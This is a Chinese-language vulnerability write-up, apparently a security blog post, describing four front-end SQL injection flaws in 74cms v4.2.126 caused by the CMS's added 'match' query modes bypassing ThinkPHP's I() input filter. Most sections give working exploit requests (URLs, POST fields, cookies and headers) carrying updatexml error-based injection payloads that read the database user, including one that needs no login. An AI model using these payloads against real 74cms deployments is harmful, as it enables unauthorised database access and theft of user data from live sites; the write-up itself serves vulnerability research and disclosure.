74cms v4.2.126-前臺四處sql注入
0x00 前言
廠商:74cms
下載地址: http://www.74cms.com/download/index.html
關於版本:
新版的74cms採用了tp3.2.3重構了,所以可知底層是tp,74cms新版升級是後臺升級的,所以先將將升級方法。
注:此漏洞不用升級至最新版本也可使用。
0x01 74cms升級到最新版
1, 先去官網下載 騎士人才系統基礎版(安裝包)
2, 將下載好的包進行安裝
3, 進入後臺點選檢視如果不是最新版的話,請點選升級!
5, 如果是本地環境的話,會提示 域名不合法升級失敗,這個問題很好解決
6, 搜尋檔案74cms\upload\Application\Admin\Controller\ApplyController.class.php
7, 查詢所有$_SERVER['HTTP_HOST'] 改為 http://baidu.com 即可
0x02 概要
這個注入也是挺有趣的,如果不是我有比對原始碼的習慣的話,可能還找不到這個74cms獨有的框架sql注入漏洞 : )
這裡我並不會脫離74cms重新講一次相關的框架內容,所以讀者最好,看看我之前的文章。
ThinkPHP3.2.3框架實現安全資料庫操作分析
https://xz.aliyun.com/t/79先看完上面的文章,然後在看此文章,會更簡單的瞭解清楚。
0x03 漏洞講解
非常抱歉,讓讀者看到前面 3節 不是很有營養的東西。
在前面最開始的時候,我說過我有對比原始碼,使用手冊的情況。
所以這裡我們繼續在開始之前,我要使用在74cms這個程式碼裡面寫個例子,希望可以讓你們看懂,因為文化水平不高=-=,寫文章感覺和很多前輩差距挺大的。
為了能夠更直觀,這裡開啟除錯
檔案:74cms\upload\Application\Common\Conf\config.php
新增多一行
'SHOW_PAGE_TRACE'=>true,
然後開啟檔案:74cms\upload\Application\Home\Controller\IndexController.class.php
新增程式碼:
$uid = I('GET.uid'); M('CompanyProfile')->field('companyname,logo')->where(array('uid'=>$uid))->find();



我感覺到這裡可能有人要罵我了。
應該有人會: 你個瓜皮,你家審計可以自己加程式碼的?
是的是的,的卻不能加。我這樣也是想讓更多的人能夠簡單的看懂這個漏洞
那麼我們通過這個也能知道一般這種情況,是沒得注入的了,而且應為使用了系統函式 I 所以也是沒有框架注入這一說。
這裡又要重新重複講解I函式的作用了
在我的眼中I函式就是一個為了解決框架底層設計問題的函式

神奇的I函式
路徑:ThinkPHP\Common\functions.php
方法名:function I($name,$default='',$filter=null,$datas=null)

這個函式的主要功能為3個
1, 確定資料型別
2, 對資料進行迴圈取值
3, 呼叫think_filter 函式進行過濾
think_filter函式分析

例如: 沒有使用think_filter 函式時 goods_name[0]=in&goods_name[1]=(true) and (updatexml(1,concat(1,(select user())),1))--&goods_name[2]=exp 使用了think_filter函式時 goods_name[0]=in &goods_name[1]=(true) and (updatexml(1,concat(1,(select user())),1))--&goods_name[2]=exp 注意:使用了think_filter函式時 in後面是有空格的也就是說返回值是 goods_name[0]=in(空格)&goods_name[1]=(true) and (updatexml(1,concat(1,(select user())),1))--&goods_name[2]=exp 而正是這個空格的問題,就可以修復掉可能發生的框架注入問題。
接著我們直接開啟檔案:74cms\upload\ThinkPHP\Library\Think\Db\Driver.class.php

think_filter函式與上圖兩者對比一下,是否發現多點了東西? 是的沒錯了。 74cms 修改了tp底層添加了 3個新方法: match match_mode match_with 也就是說這3個方法我們是可以繞過 I 函式的過濾的 接著檢視:parseWhereItem( 方法

使用的是直接字串拼接的方式入庫,故判斷此漏洞可利用.
注意了上圖我們可控制的點是 $str 而 $str 給雙引號包含!!!!!!!
最開始的時候,記得我說過麼,系統預設I 會過濾 “雙引號” 而導致此注入不可用,那麼就需要找一處不經過I函式或是說不過濾雙引號的地方來構造漏洞。
這裡我們重新修改一下例子:
開啟檔案: 74cms\upload\Application\Home\Controller\IndexController.class.php

輸入url: http://74cms.test/index.php?m=Home&c=index&a=index&uid[0]=match&uid[1][0]=aaaaaaa ") and updatexml(1,concat(0x7e,(select user())),0) – a

這樣的話,這個注入就是可用的了。理解了這個以後,我們也算是挖到了74cms獨有的框架漏洞。
接下來整理一下會發生注入的情況
M()->where($test)->xx
那麼只要 where中任意引數可控,並不會過濾 雙引號即可!
然後就沒什麼技術含量了使用ide進行搜尋測試即可確定漏洞,經過一頓搜尋以後

前端發現一共有四處,也就是說這個框架漏洞,可以利用的地方只有四處。
後端注入,除了挖src,不然我都認為他是沒有什麼用。所以後端能不能利用我也不知道。我沒去看 : )
0x05 74cms獨有框架漏洞第一處
檔案:74cms\upload\Application\Home\Controller\AjaxPersonalController.class.php
方法:function company_focus($company_id)
是否需登入:需要
登入許可權:普通使用者即可
為了方便,我是直接後臺註冊賬戶的,因為本人窮,付不起簡訊費。
登入後臺

註冊完成以後登入前臺即可
http://74cms.test/index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa%22 ) and updatexml(1,concat(0x7e,(select user())),0) -- a

看原始碼

開啟檔案: 74cms\upload\Application\Common\Model\PersonalFocusCompanyModel.class.php
方法:add_focus(

0x06 74cms獨有框架漏洞第二處
檔案:74cms\upload\Application\Home\Controller\CompanyServiceController.class.php
方法:order_pay_finish(
是否需登入:需要
登入許可權:企業使用者即可
看原始碼

為了方便,我是直接後臺註冊賬戶的,因為本人窮,付不起簡訊費。



註冊完成以後登入前臺即可
url: http://74cms.test/index.php?m=&c=CompanyService&a=order_pay_finish&order_id[0]=match&order_id[1][0]=aaaaaaa%22 ) and updatexml(1,concat(0x7e,(select user())),0) – a

0x07 74cms獨有框架漏洞第三處
檔案:74cms\upload\Application\Home\Controller\MembersController.class.php
方法:register(
是否需登入:不需要

url: http://74cms.test/index.php?m=&c=Members&a=register post: reg_type=2&utype=2&ucenter=bind&unbind_mobile=1 cookie: members_uc_info[reg_type]=1;members_uc_info[utype]=2;members_uc_info[mobile][0]=match;members_uc_info[mobile][1][0]=aaaaaaa%22) and updatexml(1,concat(0x7e,(select user())),0) -- a; headers: Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest
這裡我要大概講一下引數的問題 post: reg_type=2// 必須為2 為了繞過一個註冊判斷,為1的話,會直接建立帳戶,導致無法利用漏洞 utype=2// 判斷會員型別的也必須為2 為1會直接建立一條資料,導致無法利用漏洞 ucenter=bind// 必須為bind因為要靠他,獲取cookie(members_uc_info)並且合併為$data陣列進行利用 unbind_mobile=1// 只要有此欄位即可,只是單純為了滿足流程判斷的 cookie: members_uc_info[reg_type]=1;// 必須為1 滿足流程需要 members_uc_info[utype]=2;// 必須為2 滿足流程需要 members_uc_info[mobile][0]=match;// 框架漏洞利用 members_uc_info[mobile][1][0]=aaaaaaa%22) and updatexml(1,concat(0x7e,(select user())),0) -- a;// 這裡輸入注入語句 headers:// 偽造ajax操作 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest
0x07 74cms獨有框架漏洞第四處
檔案:74cms\upload\Application\Home\Controller\MembersController.class.php 方法:oauth_reg ( 是否需登入:需要 登入許可權:普通使用者/企業使用者都可 url: http://74cms.test/index.php?m=&c=Members&a=oauth_reg post: username = 自己去平臺隨便註冊個賬號然後輸入那個賬號 password = 自己去平臺隨便註冊個賬號然後輸入那個密碼 cookie: members_bind_info[type][0]=match; members_bind_info[type][1][0]=aaaaaaa%22) and updatexml(1,concat(0x7e,(select user())),0) -- a;


看原始碼:

